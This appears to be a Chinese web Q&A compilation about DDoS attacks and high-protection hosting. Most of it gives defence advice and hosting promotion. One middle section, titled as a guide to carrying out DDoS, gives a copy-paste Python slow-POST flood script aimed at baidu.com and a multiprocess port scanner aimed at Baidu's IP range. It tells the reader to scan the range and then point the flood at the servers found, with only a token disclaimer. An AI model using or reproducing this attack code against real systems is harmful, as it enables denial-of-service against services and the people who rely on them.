服务器被ddos攻击了怎么办?
1.减少公开暴露
对于企业来说，减少公开暴露是防御 DDoS 攻击的有效方式，对 PSN 网络设置安全群组和私有网络，及时关闭不必要的服务等方式，能够有效防御网络黑客对于系统的窥探和入侵。具体措施包括禁止对主机的非开放服务的访问，限制同时打开的 SYN 最大连接数，限制特定 IP 地址的访问，启用防火墙的防 DDoS 的属性等。
2.利用扩展和冗余
DDoS 攻击针对不同协议层有不同的攻击方式，因此我们必须采取多重防护措施。利用扩展和冗余可以防患于未然，保证系统具有一定的弹性和可扩展性，确保在 DDoS 攻击期间可以按需使用，尤其是系统在多个地理区域同时运行的情况下。任何运行在云中的虚拟机实例都需要保证网络资源可用。
微软针对所有的 Azure 提供了域名系统(DNS)和网络负载均衡，Rackspace 提供了控制流量流的专属云负载均衡。结合 CDN 系统通过多个节点分散流量，避免流量过度集中，还能做到按需缓存，使系统不易遭受 DDoS 攻击。
3.充足的网络带宽保证
网络带宽直接决定了能抗受攻击的能力，假若仅仅有 10M 带宽的话，无论采取什么措施都很难对抗当今的 SYNFlood 攻击，至少要选择 100M 的共享带宽，最好的当然是挂在1000M 的主干上了。但需要注意的是，主机上的网卡是 1000M 的并不意味着它的网络带宽就是千兆的，若把它接在 100M 的交换机上，它的实际带宽不会超过 100M，再就是接在 100M 的带宽上也不等于就有了百兆的带宽，因为网络服务商很可能会在交换机上限制实际带宽为 10M，这点一定要搞清楚。
4.分布式服务拒绝 DDoS 攻击
所谓分布式资源共享服务器就是指数据和程序可以不位于一个服务器上，而是分散到多个服务器。分布式有利于任务在整个计算机系统上进行分配与优化，克服了传统集中式系统会导致中心主机资源紧张与响应瓶颈的缺陷，分布式数据中心规模越大，越有可能分散 DDoS 攻击的流量，防御攻击也更加容易。
5.实时监控系统性能
除了以上这些措施，对于系统性能的实时监控也是预防 DDoS 攻击的重要方式。不合理的 DNS 服务器配置也会导致系统易受 DDoS 攻击，系统监控能够实时监控系统可用性、API、CDN 以及 DNS 等第三方服务商性能，监控网络节点，清查可能存在的安全隐患，对新出现的漏洞及时进行清理。骨干节点的计算机因为具有较高的带宽，是黑客利用的最佳位置，因此对这些主机加强监控是非常重要的。
当然最好的办法还是选择使用香港的高防服务器。
如何进行DDOS攻击怎么做
会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可
代码：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。
所以，最好用Windows里的PING进行检测
操作：
在Windows搜索栏里输入：cmd
输入：
ping -n 10 -l 1 baidu.com
//这里拿百度做示范，别真打百度！
那么，就会发现，系统反映了：
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 26ms，最长 = 29ms，平均 = 27ms
说明，百度的服务器有一个主服务器是39.156.69.79
那么，就来查找百度的所有服务器吧！
输入以下代码：
#绝大多数成功的网络攻击都是以端口扫描开始的，在网络安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否
#开放了指定端口，进一步判断主机是否运行了某些重要的网络服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池，允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程，同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池，close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！
接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！
虚拟主机被攻击有什么解决方案？
1，流量攻击，就是我们常说的DDOS和DOS等攻击，这种攻击属于最常见的流量攻击中的带宽攻击，一般是使用大量数据包淹没一个或多个路由器、服务器和防火墙，使你的网站处于瘫痪状态无法正常zd打开。但是这种攻击成本都会很高.
2， CC攻击，也是流量攻击的一种，CC就是模拟多个用户（多少线程就是多少用户）不停地进行访问那些需要大量数据操作（就是需要大量CPU时间）的页面，造成服务器资源的浪费，CPU长时间处于100%，永远都有处理不完的连接直至就网络拥塞，正常的访问被中止。而CC攻击基本上都是针对端口的攻击，以上这两种攻击基本上都属于硬性流量的攻击.
如果服务器（网站）被入侵了,一般都是服务器或者网站存在漏洞，被黑客回利用并提权入侵的，导致服务器中木马，网站被挂黑链，被篡改，被挂马答。解决办法：如果程序不是很大，可以自己比对以前程序的备份文件，然后就是修复，或者换个服务器，最好是独立服务器。也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司 比较专业.
我是从事IDC行业的.以上这些也是平时工作中经常遇到的问题.希望我的回答对你有所帮助.
如果你还有什么问题欢迎咨询数据湾IDC：428140675
流量清洗DDOS攻击应注意几点误区
误区一：选择防火墙或入侵检测IPS来清洗DDoS分析：防火墙与入侵检测IPS通常串行部署在网络下游的网关位置，是基于状态检测的访问控制系统，本身就是DDoS的攻击目标，在新建连接与状态连接耗尽时成为瓶颈。DDoS最佳防护实践就是：流量清洗中心加上运营商BGP路由调度控制;
误区二：选择清洗设备的性能远高于自己的出口带宽分析：有些客户网络出口带宽只有100M，厂商却推荐选择1G甚至4G清洗设备。标准的云清洗说法是本地清洗应用型DDoS攻击，云端清洗流量型DDoS攻击。
云主机可以抗DDOS攻击吗
高防云主机可以抗DDoS攻击，下面以美国高防云主机为例介绍其相关优势：
1、无备案、无线路限制
国内创建网站的用户逃不掉一个极其繁琐的操作，那就是备案，针对不同的机房，其要求时限的也不尽相同，有的时候必须保证备案后才可以接入，没有备案号域名方根本没有机会和权利接入，不然就会面临网站关闭的风险。而美国高防云主机省去了备案操作，同时用户也省去了对于国内电信跟网通互联不互通的担心。关键的是，用户购买该产品后可以即买即用，该产品还同时支持多个网站上线，如此方便，受广大站长欢迎也是早晚的事情。
2、抵御网络攻击
一听名字，高防，其安全性不言而喻。很多企业在计划建站时都会倾向于选择一款能够同时阻止DDoS、CC等外来攻击的美国高防云主机。不仅如此，用户信赖该产品的主要原因还在于其提供了海量带宽，采用了一流的流量牵引技术，与恶意软件或者攻击防御所代表的安全性相结合，提供安全性能双保障。
3、访问速度快
访问速度快也算是性能方面最直观的一种体现。美国高防云主机由于机房设在美国，无疑对北美、欧洲客户最友好托管无疑是最佳选择，当然因为大部分产品所处机房位于洛杉矶、硅谷一带，与中国大陆仅隔一座太平洋，国内用户访问速度也不会差，甚至可以说与国外用户相差无几。一些著名品牌的相关产品会提供BGP国际带宽或者支持CN2线路，方便路由快捷传输。
4、价格低
不要被配置高价格就一定贵的惯性思维所打扰，实际上美国高防云主机价格比普通美国高防服务器价格便宜很多，很多小站长也是可以用的起的。而且该产品IP资源丰富，也十分有利于搜索引擎优化。就这一点上，用户只能想到该产品提供DDoS防御服务显然就有点落伍了。
WHT中文站针对相关产品提供商的产品信息和排名情况进行了介绍，值得参考。
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